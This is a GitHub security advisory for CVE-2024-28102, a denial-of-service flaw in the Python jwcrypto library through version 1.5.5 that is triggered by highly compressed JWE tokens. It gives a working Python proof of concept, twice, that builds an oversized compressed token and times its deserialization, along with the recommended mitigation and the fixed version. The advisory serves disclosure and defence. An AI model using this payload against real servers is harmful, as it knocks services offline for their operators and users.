GHSA-J857-7RVV-VJ97

Vulnerability from github – Published: 2024-03-06 20:00 – Updated: 2025-12-22 18:42
VLAI?
Summary
JWCrypto vulnerable to JWT bomb Attack in `deserialize` function
Details

Affected version

Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

Description

An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

Poc

from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty='RSA', size=2048)
public_key.import_key(**json_decode(private_key.export_public()))


payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "zip": "DEF",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}'
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A256CBC-HS512",
    "typ": "JWE",
    "kid": public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode('utf-8'),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)

print(time.time() - begin)

It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. image

Mitigation

To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

References

[1] CVE-2024-21319

Severity ?
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jwcrypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-06T20:00:56Z",
    "nvd_published_at": "2024-03-21T02:52:23Z",
    "severity": "MODERATE"
  },
  "details": "## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty=\u0027RSA\u0027, size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = \u0027{\"u\": \"\u0027 + \"u\" * 400000000 + \u0027\", \"uu\":\"\u0027 + \"u\" * 400000000 + \u0027\"}\u0027\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode(\u0027utf-8\u0027),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = \u0027{\"u\": \"\u0027 + \"u\" * 400000 + \u0027\", \"uu\":\"\u0027 + \"u\" * 400000 + \u0027\"}\u0027\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode(\u0027utf-8\u0027),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n\u003cimg width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\"\u003e\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)",
  "id": "GHSA-j857-7rvv-vj97",
  "modified": "2025-12-22T18:42:18Z",
  "published": "2024-03-06T20:00:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28102"
    },
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/latchset/jwcrypto"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JWCrypto vulnerable to JWT bomb Attack in `deserialize` function"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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